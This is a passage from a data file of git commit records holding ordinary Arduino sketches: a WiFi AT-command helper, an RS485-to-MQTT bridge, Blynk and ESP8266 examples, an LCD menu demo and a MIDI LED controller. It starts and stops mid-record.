}\n }\n }\n while(wifi.available()) {\n wifi.read();\n }\n if(isBufferAllocationed) {\n delete[] buffer; \n } \n return result;\n}\n\nuint8_t checkResString(char ch, uint8_t idx) {\n if(idx < RES_UNKNOWN_LEN && ch == RES_UNKNOWN[idx]) {\n return RES_UNKNOWN_LEN;\n } else if(idx < RES_OK_LEN && ch == RES_OK[idx]) {\n if(idx == RES_OK_LEN - 1) {\n return RES_OK_LEN | 0x80;\n }\n return RES_OK_LEN;\n } else if(idx < RES_ERROR_LEN && ch == RES_ERROR[idx]) {\n if(idx == RES_ERROR_LEN - 1) {\n return RES_ERROR_LEN | 0x80;\n }\n return RES_ERROR_LEN;\n } else if(idx < RES_NC_LEN && ch == RES_NC[idx]) {\n if(idx == RES_NC_LEN - 1) {\n return RES_NC_LEN | 0x80;\n }\n return RES_NC_LEN;\n }\n return 0;\n}\n\n\nvoid loadData(void* data, int offset, int length) {\n uint8_t* pos = (uint8_t*)data;\n for(int i = 0; --length; ++i,++pos) {\n *pos = EEPROM.read(i);\n }\n}\n\nvoid saveData(const void* data, int start, int length) {\n const uint8_t* pos = (const uint8_t*)data;\n Serial.println(length);\n int ln = length;\n for(int i = start; --length; ++i,++pos) {\n EEPROM.write(i, *pos);\n }\n #ifdef DEBUG\n Serial.begin(9600);\n Serial.println(\"debug :: config saved\");\n #endif\n}\n\nbool checkConfig(CONFIG* config) {\n return config->tailVersion == VER && config->version == VER;\n}\n\nvoid printConfig(CONFIG* config) {\n Serial.println(\"debug :: version - \" + String(config->version));\n Serial.println(\"debug :: version2 - \" + String(config->tailVersion));\n Serial.println(\"debug :: mode - \" + String(config->mode));\n Serial.println(\"debug :: ssid - \" + String(config->ssid));\n Serial.println(\"debug :: pass - \" + String(config->pass));\n Serial.println(\"debug :: serverAddr - \" + String(config->serverAddr));\n Serial.println(\"debug :: port - \" + String(config->port));\n}\n\n\/* \n byte buffer[256];\n SwSerial.print(\"AT+CIPSTART=\\\"TCP\\\",\\\"httpbin.org\\\",80\\r\\n\");\n delay(2000);\n while(!SwSerial.available());\n while(SwSerial.available()) {\n Serial.print((char)SwSerial.read());\n }\n String cmd = \"GET \/ip HTTP\/1.0\\r\\n\\r\\n\";\n SwSerial.print(\"AT+CIPSEND=\");\n SwSerial.print(cmd.length());\n SwSerial.print(\"\\r\\n\");\n\n if (SwSerial.find(\">\")) {\n Serial.print(\">\");\n }\n else {\n SwSerial.print(\"AT+CIPCLOSE=AT+CIPCLOSE\\r\\n\");\n Serial.println(\"connect timeout\");\n delay(1000);\n return;\n }\n\n SwSerial.print(cmd);\n long lastMs = millis();\n while(!SwSerial.available());\n while(millis() - lastMs < 5000) {\n if(SwSerial.available()) {\n byte data = SwSerial.read();\n Serial.print((char)data); \n }\n }\n Serial.println(\"====\");\n delay(1000);\n\n\n \n SwSerial.print(\"AT+CIPCLOSE=AT+CIPCLOSE\\r\\n\");\n \n while(!SwSerial.available());\n while(millis() - lastMs < 5000) {\n if(SwSerial.available()) {\n byte data = SwSerial.read();\n Serial.print((char)data); \n }\n }*\/\n \/*\n \/\/ \uc2dc\ub9ac\uc5bc \ubc84\ud37c\ub97c \ube44\uc6b4\ub2e4.\n int delayt = 0;\n Serial.flush();\n byte buffer[10];\n int idx = 0;\n Serial.print(\"dealy : \");\n \/\/ \ubc84\ud37c\uc5d0 \uac12\uc774 \ub4e4\uc5b4\uc62c \ub54c \uae4c\uc9c0 \ub300\uae30. \n while(!Serial.available());\n \/\/ HC-06 \uc73c\ub85c \uba85\ub839\uc5b4\ub97c \ub0a0\ub9b0\ub2e4. \n while(Serial.available()) {\n Serial.readBytes(buffer, 10);\n }\n String aa = \"\";\n aa += (char*)buffer;\n delayt = aa.toInt();\n Serial.println(delayt);\n Serial.print(\"cmd : \");\n \/\/ \ubc84\ud37c\uc5d0 \uac12\uc774 \ub4e4\uc5b4\uc62c \ub54c \uae4c\uc9c0 \ub300\uae30. \n while(!Serial.available());\n \/\/ HC-06 \uc73c\ub85c \uba85\ub839\uc5b4\ub97c \ub0a0\ub9b0\ub2e4. \n while(Serial.available()) {\n data = Serial.read();\n if(data == -1) break;\n SwSerial.print(data);\n Serial.print(data);\n \/\/ \uc2dc\ub9ac\uc5bc \ud1b5\uc2e0\uc5d0\uc11c\ub294 9600bps \uae30\uc900\uc73c\ub85c\n \/\/ read \ub97c \uc0ac\uc6a9\ud560 \ub54c 1ms \uc758 \ub51c\ub808\uc774\ub97c \uc918\uc57c \ud55c\ub2e4.\n delayMicroseconds(84);\n } \n SwSerial.print(\"\\r\\n\"); \n Serial.println();\n \/\/ HC-06\uc5d0\uc11c \ucc98\ub9ac\ud560 \uc2dc\uac04\uc744 \uc900\ub2e4.\n Serial.print(\"return : \");\n \/\/ HC-06 \uc73c\ub85c \ubd80\ud130 \ubc1b\uc544\uc628 \ub9ac\ud134 \uac12\uc744 \ucd9c\ub825\ud55c\ub2e4.\n while(!SwSerial.available()) {}\n delayMicroseconds(84);\n boolean isO = false;\n boolean isK = false;\n long lastMs = millis();\n while((!isO || !isK) && millis() - lastMs < delayt) {\n data = SwSerial.read();\n if(data == -1) continue;\n Serial.print(data);\n \/\/delayMicroseconds(84);\n \n \n if(data == 'O') {\n isO = true;\n }\n else if(isO && data == 'K') {\n isK = true;\n }\n else {\n isO = false;\n isK = false; \n }\n } \n Serial.print(\"\\n\\n\");*\/\n \/*\n analogWrite(9,255);\n analogWrite(6,255);\n SwSerial.println(\"OKOK + 1\\r\\n\");\n \/\/ \ub370\uc774\ud130\uac00 \ub4e4\uc5b4\uc62c\ub54c \uae4c\uc9c0 \ub300\uae30.\n while(!SwSerial.available());\n digitalWrite(ledPin, HIGH);\n while(SwSerial.available()) {\n data = SwSerial.read();\n buffer[index++] = data;\n \/\/ \ubc84\ud37c\uac00 \uaf49 \ucc3c\uac70\ub098 \ubb38\uc790\uc5f4\uc774 \ub05d\ub0ac\uc744 \ub54c,\n \/\/ \ub8e8\ud504\uc5d0\uc11c \ub098\uac04\ub2e4.\n if(index == BUFF_SIZE || data == '\\0') break;\n \/\/ 9600bps \uae30\uc900\uc73c\ub85c delay \ub97c 1ms \uc744 \uc918\uc57c \ud55c\ub2e4.\n delay(1);\n } \n \/\/ \ube14\ub8e8\ud22c\uc2a4\ub97c \ud1b5\ud558\uc5ec \ubc1b\uc740 \ub370\uc774\ud130\ub97c \ub418\ub3cc\ub824\uc900\ub2e4.\n for(uint8_t i = 0; i < index; ++i) {\n SwSerial.write(buffer[i]);\n }\n SwSerial.print(\"\\r\\n\");\n index = 0;\n int val = analogRead(1);\n SwSerial.println(val);*\/\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e10dab9a4f14faa06aeb0d27311e53ade0579fa1","subject":"Create dragino_rs485_mqtt.ino","message":"Create dragino_rs485_mqtt.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"au\/dragino_rs485_mqtt.ino","new_file":"au\/dragino_rs485_mqtt.ino","new_contents":"#include \"RS485_protocol.h\"\n#include <SoftwareSerial.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <Process.h>\n#include \"MQTTclient.h\"\n\nconst byte ENABLE_PIN = 4;\nconst byte LED_PIN = 3;\n\n#define MQTT_HOST \"190.97.168.236\" \nchar message_buff[100];\n\nint val1 = 0;\nint val2 = 0;\nint val3 = 0;\nint val4 = 0;\nlong values []= {0,0,0,0};\n\nSoftwareSerial rs485 (9, 10); \/\/ receive pin, transmit pin\n\n\/\/ callback routines\n \nvoid fWrite (const byte what)\n {\n rs485.write (what); \n }\n \nint fAvailable ()\n {\n return rs485.available (); \n }\n\nint fRead ()\n {\n return rs485.read (); \n }\n\nvoid setup()\n{ Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n rs485.begin (38400);\n pinMode (ENABLE_PIN, OUTPUT); \/\/ driver output enable\n pinMode (LED_PIN, OUTPUT); \/\/ built-in LED\n mqtt.publish(\"test\/uno\", \"OK dragino\");\n mqtt.subscribe(\"rr\/temp\", someEvent);\n} \/\/ end of setup\n \nbyte old_level = 0;\n\nvoid loop()\n{ mqtt.monitor();\n\/*\n long level = random(20,32); \n \n if (level == old_level)\n return;\n \n \n byte msg [] = { \n 1, \/\/ device 1\n 2, \/\/ turn light on\n level \/\/ to what level\n };\n\n \/\/ send to slave \n digitalWrite (ENABLE_PIN, HIGH); \/\/ enable sending\n sendMsg (fWrite, msg, sizeof msg);\n digitalWrite (ENABLE_PIN, LOW); \/\/ disable sending\n\n \/\/ receive response \n byte buf [10];\n byte received = recvMsg (fAvailable, fRead, buf, sizeof buf);\n \n digitalWrite (LED_PIN, received == 0); \/\/ turn on LED if error \n \n \/\/ only send once per successful change\n if (received)\n old_level = level;*\/\n\n} \/\/ end of loop\n\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n \nint i = 0;\n for(i=0; i<32; i++) {\n message_buff[i] = message[i];\n }\n message_buff[i] = '\\0';\n \n \n String pubString = \"\" + String(message) + \"\";\n pubString.toCharArray(message_buff, pubString.length()+1);\n \n Serial.print(\"topic: \");\n Serial.println(topic);\n Serial.print(\"message: \"); \n Serial.println(message); \n \n \/\/int integer = 25;\n \/\/ String integer = hola;\n\nparse();\n\n\/\/String msgStringi = String(message_buff); \n\/\/int x = msgStringi.toInt();\n\n \n mqtt.publish(\"test\/dos\", val3);\nlong level = random(20,32); \n byte msg [] = { \n 1, \/\/ device 1\n val1, \/\/ turn light on\n val2,\n val3,\n val4 \/\/ to what level\n };\n\n \/\/ send to slave \n digitalWrite (ENABLE_PIN, HIGH); \/\/ enable sending\n sendMsg (fWrite, msg, sizeof msg);\n \n \/\/sendMsg (fWrite,(byte *) &message, sizeof msg);\n \n \n digitalWrite (ENABLE_PIN, LOW); \/\/ disable sending\n\n \/\/ receive response \n byte buf [10];\n byte received = recvMsg (fAvailable, fRead, buf, sizeof buf);\n \n digitalWrite (LED_PIN, received == 0); \/\/ turn on LED if error \n \n \/\/ only send once per successful change\n if (received)\n old_level = level;\n \n\n \n}\n\nvoid parse()\n{\n \n char separator[] = \",\"; \n\n char *result = NULL;\n int index = 0;\n\n result = strtok( message_buff, separator ); \n while( (result != NULL) && (index < 4) ) {\n Serial.print( result );\n Serial.println( );\n values[index++] = atol(result); \/\/ become to values\n\n result = strtok( NULL, separator ); \n }\n\n \n val1 = values[0];\n val2 = values[1];\n val3 = values[2];\n val4 = values[3];\n\nSerial.print(\"valor 1: \"); Serial.println(val1);\nSerial.print(\"valor 2: \"); Serial.println(val2);\nSerial.print(\"valor 3: \"); Serial.println(val3);\nSerial.print(\"valor 4: \"); Serial.println(val4);\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'au\/dragino_rs485_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"954e45a34d0a975a3aedd2c1948da755043b3aa1","subject":"Add ESP32 example","message":"Add ESP32 example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Boards_WiFi\/ESP32\/ESP32.ino","new_file":"examples\/Boards_WiFi\/ESP32\/ESP32.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example runs directly on ESP32 chip.\n *\n * You need to install this for ESP32 development:\n * https:\/\/github.com\/espressif\/arduino-esp32\n *\n * Please be sure to select the right ESP32 module\n * in the Tools -> Board menu!\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <WiFi.h>\n#include <WiFiClient.h>\n#include <BlynkSimpleEsp32.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, ssid, pass);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_WiFi\/ESP32\/ESP32.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bed3f4b6ea8de571e16ac174f83f92894b43dae4","subject":"Made a copy of lcd_nav.ino and modified it to use a Nokia 5110 display. It is using the driver from https:\/\/github.com\/adafruit\/Adafruit-PCD8544-Nokia-5110-LCD-library","message":"Made a copy of lcd_nav.ino and modified it to use a Nokia 5110 display.\nIt is using the driver from https:\/\/github.com\/adafruit\/Adafruit-PCD8544-Nokia-5110-LCD-library\n","repos":"jonblack\/arduino-menusystem","old_file":"examples\/pcd8544_nav\/pcd8544_nav.ino","new_file":"examples\/pcd8544_nav\/pcd8544_nav.ino","new_contents":"\/*\n * pcd8544_nav.ino - Example code using the menu system library\n *\n * This example shows using the menu system with a pcd8544 LCD display\n * (controlled over serial).\n *\n * Copyright (c) 2016 arduino-menusystem\n * Licensed under the MIT license (see LICENSE)\n *\/\n\n#include <MenuSystem.h>\n#include <SPI.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_PCD8544.h>\n\n\/\/ Menu variables\nMenuSystem ms;\nMenu mm(\"ROOT Title\");\nMenuItem mm_mi1(\"Lvl1-Item1(I)\");\nMenuItem mm_mi2(\"Lvl1-Item2(I)\");\nMenu mu1(\"Lvl1-Item3(M)\");\nMenuItem mu1_mi1(\"Lvl2-Item1(I)\");\n\n\/\/ Software SPI (slower updates, more flexible pin options):\n\/\/ pin 7 - Serial clock out (SCLK)\n\/\/ pin 6 - Serial data out (DIN)\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\n\/\/Adafruit_PCD8544 lcd = Adafruit_PCD8544(7, 6, 5, 4, 3);\n\n\/\/ Hardware SPI (faster, but must use certain hardware pins):\n\/\/ SCK is LCD serial clock (SCLK) - this is pin 13 on Arduino Uno\n\/\/ MOSI is LCD DIN - this is pin 11 on an Arduino Uno\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\nAdafruit_PCD8544 lcd = Adafruit_PCD8544(5, 4, 3);\n\/\/ Note with hardware SPI MISO and SS pins aren't used but will still be read\n\/\/ and written to during SPI transfer. Be careful sharing these pins!\n\n#define PCD8544_CHAR_HEIGHT 8\n\n\/\/ Menu callback function\n\/\/ In this example all menu items use the same callback.\n\nvoid on_item1_selected(MenuItem* p_menu_item)\n{\n lcd.setCursor(0,2*PCD8544_CHAR_HEIGHT);\n lcd.print(\"Item1 Selectd\");\n lcd.display();\n delay(1500); \/\/ so we can look the result on the LCD\n}\n\nvoid on_item2_selected(MenuItem* p_menu_item)\n{\n lcd.setCursor(0,2*PCD8544_CHAR_HEIGHT);\n lcd.print(\"Item2 Selectd\");\n lcd.display();\n delay(1500); \/\/ so we can look the result on the LCD\n}\n\nvoid on_item3_selected(MenuItem* p_menu_item)\n{\n lcd.setCursor(0,2*PCD8544_CHAR_HEIGHT);\n lcd.print(\"Item3 Selectd\");\n lcd.display();\n delay(1500); \/\/ so we can look the result on the LCD\n}\n\n\/\/ Standard arduino functions\n\nvoid setup()\n{\n Serial.begin(9600);\n lcd.begin();\n \/\/ you can change the contrast around to adapt the display\n \/\/ for the best viewing!\n lcd.setContrast(60);\n \n #ifdef HIDE_SPLASH\n lcd.clearDisplay();\n #else\n lcd.display(); \/\/ show splashscreen\n delay(2000);\n #endif \/\/ HIDE_SPLASH\n\n lcd.setTextSize(1);\n \n serialPrintHelp();\n Serial.println(\"Setting up the menu.\");\n \/\/ Menu setup\n \/*\n Menu Structure:\n -Item1\n -Item2\n -Item3\n --Item1\n \n *\/\n mm.add_item(&mm_mi1, &on_item1_selected);\n mm.add_item(&mm_mi2, &on_item2_selected);\n mm.add_menu(&mu1);\n mu1.add_item(&mu1_mi1, &on_item3_selected);\n ms.set_root_menu(&mm);\n Serial.println(\"Menu setted.\");\n displayMenu();\n}\n\nvoid loop()\n{\n \/\/ Handle serial commands\n serialHandler();\n\n \/\/ Wait for two seconds so the output is viewable\n \/\/delay(2000);\n}\n\nvoid displayMenu() {\n lcd.clearDisplay();\n lcd.setCursor(0,0*PCD8544_CHAR_HEIGHT);\n \/\/ Display the menu\n Menu const* cp_menu = ms.get_current_menu();\n\n \/\/lcd.print(\"Current menu name: \");\n lcd.print(cp_menu->get_name());\n lcd.setCursor(0,1*PCD8544_CHAR_HEIGHT);\n lcd.print(cp_menu->get_selected()->get_name());\n lcd.display();\n}\n\nvoid serialHandler() {\n char inChar;\n if((inChar = Serial.read())>0) {\n switch (inChar) {\n case 'w': \/\/ Previus item\n ms.prev();\n displayMenu();\n break;\n case 's': \/\/ Next item\n ms.next();\n displayMenu();\n break;\n case 'a': \/\/ Back pressed\n ms.back();\n displayMenu();\n break;\n case 'd': \/\/ Select pressed\n ms.select();\n displayMenu();\n break;\n case '?':\n case 'h': \/\/ Display help\n serialPrintHelp();\n break;\n default:\n break;\n }\n }\n}\n\nvoid serialPrintHelp() {\n Serial.println(\"***************\");\n Serial.println(\"w: go to previus item (up)\");\n Serial.println(\"s: go to next item (down)\");\n Serial.println(\"a: go back (right)\");\n Serial.println(\"d: select \\\"selected\\\" item\");\n Serial.println(\"?: print this help\");\n Serial.println(\"h: print this help\");\n Serial.println(\"***************\");\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/pcd8544_nav\/pcd8544_nav.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"695429b21cb540b5c7efa0bb3ab198f037e095d3","subject":"Added #4.","message":"Added #4.\n","repos":"higepon\/Spark-Core-Examples,higepon\/Spark-Core-Examples","old_file":"4.Blink LED via Internet.ino","new_file":"4.Blink LED via Internet.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '4.Blink' did not match any file(s) known to git\nerror: pathspec 'LED' did not match any file(s) known to git\nerror: pathspec 'via' did not match any file(s) known to git\nerror: pathspec 'Internet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d072f0a3bc6afad893d1ec8052748793a2910bfb","subject":"ESP8266 BlinkWithoutDelay","message":"ESP8266 BlinkWithoutDelay","repos":"probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"\/* \n ESP8266 BlinkWithoutDelay by Simon Peter\n Blink the blue LED on the ESP-01 module\n Based on the Arduino Blink without Delay example\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nint ledState = LOW; \n\nunsigned long previousMillis = 0;\nconst long interval = 1000;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop()\n{\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis; \n if (ledState == LOW)\n ledState = HIGH; \/\/ Note that this switches the LED *off*\n else\n ledState = LOW; \/\/ Note that this switches the LED *on*\n digitalWrite(ledPin, ledState);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"292759c16c0d1ad59402744f4e257fdc2645bd23","subject":"Enhanced included example into Single Channel.","message":"Enhanced included example into Single Channel.\n","repos":"hhromic\/MidiLeds","old_file":"examples\/SingleChannel\/SingleChannel.ino","new_file":"examples\/SingleChannel\/SingleChannel.ino","new_contents":"\/**\n * MIDI Leds example - Shows how all classes can be put together to create a nice MIDI Leds display controller.\n * Because I only have a Teensy 3.1 available for testing, it is not guaranteed to work on other platforms.\n * This Leds display controller also considers MIDI pedals for enhanced visualisation.\n *\n * This example uses only a single MIDI channel to work, making it simpler and easier to the eye.\n *\n * The event handling chain is as follows:\n * MIDI input -> Damper Pedal -> Soft Pedal -> Sostenuto Pedal -> MidiLeds\n *\n * Hugo Hromic - http:\/\/github.com\/hhromic\n * MIT license\n *\/\n\n#include <cmath> \n#include <Arduino.h>\n#include <FastLED.h>\n#include <MidiLeds.h>\n#include <MidiDamperPedal.h>\n#include <MidiSoftPedal.h>\n#include <MidiSostenutoPedal.h>\n\n#define DATA_PIN 2 \/\/ LED strip data pin\n#define STATUS_LED_PIN 13 \/\/ Teensy 3.1 onboard LED\n#define NOTE_MIN 0x15 \/\/ note 21 (first note on standard 88 keys keyboard)\n#define NOTE_MAX 0x6C \/\/ note 108 (last note on standard 88 keys keyboard)\n#define NOTES_CHANNEL 1 \/\/ What MIDI channel to listen for notes and pedals?\n#define CONTROL_CHANNEL 16 \/\/ What MIDI channel to listen for parameter control?\n#define TIME_RANGE 5000 \/\/ Time range for setting parameters from MIDI control messages\n#define NUM_LEDS (NOTE_MAX - NOTE_MIN + 1)\n\n\/\/***********************************************************************\n\/\/ Global objects\n\nelapsedMillis elapsedTime;\nCRGB leds[NUM_LEDS];\nMidiLeds midiLeds(leds, NOTE_MIN, NOTE_MAX);\nMidiDamperPedal damperPedal;\nMidiDamperPedal softPedal;\nMidiDamperPedal sostenutoPedal;\n\n\/\/***********************************************************************\n\/\/ Main setup and loop functions\n\/\/ Make sure you check the FastLED.addLeds() function call.\n\nvoid setup() {\n \/\/ Allow time for Leds power-up\n delay(2000);\n pinMode(STATUS_LED_PIN, OUTPUT);\n\n \/\/ Init FastLED\n FastLED.addLeds<WS2812B, DATA_PIN, GRB>(leds, NUM_LEDS);\n FastLED.setDither(0);\n FastLED.setCorrection(TypicalSMD5050);\n \n \/\/ Init pedals handlers\n damperPedal.setHandleNoteOn(damperNoteOn);\n damperPedal.setHandleNoteOff(damperNoteOff);\n softPedal.setHandleNoteOn(softNoteOn);\n sostenutoPedal.setHandleNoteOn(sostenutoNoteOn);\n sostenutoPedal.setHandleNoteOff(sostenutoNoteOff);\n\n \/\/ Init USB MIDI handlers\n usbMIDI.setHandleNoteOn(onNoteOn);\n usbMIDI.setHandleNoteOff(onNoteOff);\n usbMIDI.setHandleControlChange(onControlChange);\n}\n\nvoid loop() {\n digitalWrite(STATUS_LED_PIN, HIGH);\n usbMIDI.read();\n midiLeds.tick(elapsedTime);\n FastLED.show();\n}\n\n\/\/***********************************************************************\n\/\/ Message handlers for the pedals\n\nvoid damperNoteOn(uint8_t note, uint8_t velocity) {\n softPedal.noteOn(note, velocity);\n}\n\nvoid damperNoteOff(uint8_t note) {\n sostenutoPedal.noteOff(note);\n}\n\nvoid softNoteOn(uint8_t note, uint8_t velocity) {\n sostenutoPedal.noteOn(note, velocity);\n}\n\nvoid sostenutoNoteOn(uint8_t note, uint8_t velocity) {\n midiLeds.noteOn(note, velocity);\n}\n\nvoid sostenutoNoteOff(uint8_t note) {\n midiLeds.noteOff(note);\n}\n\n\/\/***********************************************************************\n\/\/ Message handlers for MIDI input\n\nvoid onNoteOn(uint8_t channel, uint8_t note, uint8_t velocity) {\n if (channel == NOTES_CHANNEL)\n damperPedal.noteOn(note, velocity);\n digitalWrite(STATUS_LED_PIN, LOW);\n}\n\nvoid onNoteOff(uint8_t channel, uint8_t note, uint8_t velocity) {\n if (channel == NOTES_CHANNEL)\n damperPedal.noteOff(note);\n digitalWrite(STATUS_LED_PIN, LOW);\n}\n\nvoid onControlChange(uint8_t channel, uint8_t control, uint8_t value) {\n \/\/ Process control channel controls\n if (channel == CONTROL_CHANNEL) {\n switch (control) {\n case 0x00: \/\/ Bank Select\n switch (value) {\n case 0x00: midiLeds.setColorMapper(MidiColorMapper::COLOR_MAP); initNotes(); break;\n case 0x01: midiLeds.setColorMapper(MidiColorMapper::RAINBOW); initNotes(); break;\n case 0x02: midiLeds.setColorMapper(MidiColorMapper::FIXED_COLOR); initNotes(); break;\n }\n break;\n case 0x20: \/\/ Bank Select (fine)\n switch (value) {\n case 0x00: midiLeds.setNoteColorMap(MidiNoteColors::AEPPLI_1940); initNotes(); break;\n case 0x01: midiLeds.setNoteColorMap(MidiNoteColors::BELMONT_1944); initNotes(); break;\n case 0x02: midiLeds.setNoteColorMap(MidiNoteColors::BERTRAND_1734); initNotes(); break;\n case 0x03: midiLeds.setNoteColorMap(MidiNoteColors::BISHOP_1893); initNotes(); break;\n case 0x04: midiLeds.setNoteColorMap(MidiNoteColors::FIELD_1816); initNotes(); break;\n case 0x05: midiLeds.setNoteColorMap(MidiNoteColors::HELMHOLTZ_1910); initNotes(); break;\n case 0x06: midiLeds.setNoteColorMap(MidiNoteColors::JAMESON_1844); initNotes(); break;\n case 0x07: midiLeds.setNoteColorMap(MidiNoteColors::KLEIN_1930); initNotes(); break;\n case 0x08: midiLeds.setNoteColorMap(MidiNoteColors::NEWTON_1704); initNotes(); break;\n case 0x09: midiLeds.setNoteColorMap(MidiNoteColors::RIMINGTON_1893); initNotes(); break;\n case 0x0A: midiLeds.setNoteColorMap(MidiNoteColors::SCRIABIN_1911); initNotes(); break;\n case 0x0B: midiLeds.setNoteColorMap(MidiNoteColors::SEEMANN_1881); initNotes(); break;\n case 0x0C: midiLeds.setNoteColorMap(MidiNoteColors::ZIEVERINK_2004); initNotes(); break;\n }\n break;\n case 0x4D: \/\/ Vibrato Depth\n midiLeds.setFixedHue(round(0xFF * (value * 1.0f \/ 0x7F))); initNotes(); break;\n case 0x49: \/\/ Attack Time\n midiLeds.setAttackTime(round(TIME_RANGE * (value * 1.0f \/ 0x7F))); break;\n case 0x4B: \/\/ Decay Time\n midiLeds.setDecayTime(round(TIME_RANGE * (value * 1.0f \/ 0x7F))); break;\n case 0x46: \/\/ Sound Variation\n midiLeds.setSustainLevel(1.0f * (value * 1.0f \/ 0x7F)); break;\n case 0x48: \/\/ Release Time\n midiLeds.setReleaseTime(round(TIME_RANGE * (value * 1.0f \/ 0x7F))); break;\n case 0x47: \/\/ Timbre Intensity\n midiLeds.setIgnoreVelocity(value < 0x40 ? false : true); break;\n case 0x4A: \/\/ Brightness\n midiLeds.setBaseBrightness(value); initNotes(); break;\n case 0x7B: \/\/ All Notes Off\n midiLeds.allNotesOff(); break;\n case 0x79: \/\/ Reset All Controllers\n midiLeds.resetAllControllers(); break;\n }\n }\n \n \/\/ Process notes channel controls\n if (channel == NOTES_CHANNEL) {\n switch (control) {\n case 0x40: \/\/ Damper Pedal\n if (value < 0x40) damperPedal.release();\n else damperPedal.press();\n break;\n case 0x42: \/\/ Sostenuto Pedal\n if (value < 0x40) sostenutoPedal.release();\n else sostenutoPedal.press();\n break;\n case 0x43: \/\/ Soft Pedal\n if (value < 0x40) softPedal.release();\n else softPedal.press();\n break;\n }\n }\n digitalWrite(STATUS_LED_PIN, LOW);\n}\n\n\/\/***********************************************************************\n\/\/ Quickly send Note On and Note Off messages to re-init Leds\n\nvoid initNotes() {\n for (uint8_t i=NOTE_MIN; i<=NOTE_MAX; i++) {\n midiLeds.noteOn(i, 0x00);\n midiLeds.noteOff(i);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SingleChannel\/SingleChannel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7e00f98ef2bacf60e40b426209bbc1ec7a82606b","subject":"Environment sensors","message":"Environment sensors\n","repos":"faturita\/ShinkeyBot,faturita\/ShinkeyBot,faturita\/ShinkeyBot,faturita\/ShinkeyBot","old_file":"SensorimotorController\/SenseAndMove\/EnvironmentSensor.ino","new_file":"SensorimotorController\/SenseAndMove\/EnvironmentSensor.ino","new_contents":"\/**\n * The S goes pulled down with 10k ohms resistence connected to ground.\n * The S goes to A0, analog output (pulled down from the resistor).\n * \n * The (-) goes to 5V\n * \n * The middle is not being used.\n * \n * Callibration:\n * \n * Above light: 700\n * Dark room: 500\n * Lightern above: 1000\n * Finger on top: 260\n *\/\n\n#define c 261\n#define d 294\n#define e 329\n#define f 349\n#define g 391\n#define gS 415\n#define a 440\n#define aS 455\n#define b 466\n#define cH 523\n#define cSH 554\n#define dH 587\n#define dSH 622\n#define eH 659\n#define fH 698\n#define fSH 740\n#define gH 784\n#define gSH 830\n#define aH 880\n\/\/frequencies for the tones we're going to use\n\/\/used http:\/\/home.mit.bme.hu\/~bako\/tonecalc\/tonecalc.htm to get these\n\n\n\nint photoresistorPin = A3; \/\/ analog input\nint sensorPin = A2; \/\/ Analog input \nint speakerPin = 11;\n\nint soundSensorValue = 0;\nint minSoundThreshold = 54;\n\ndouble 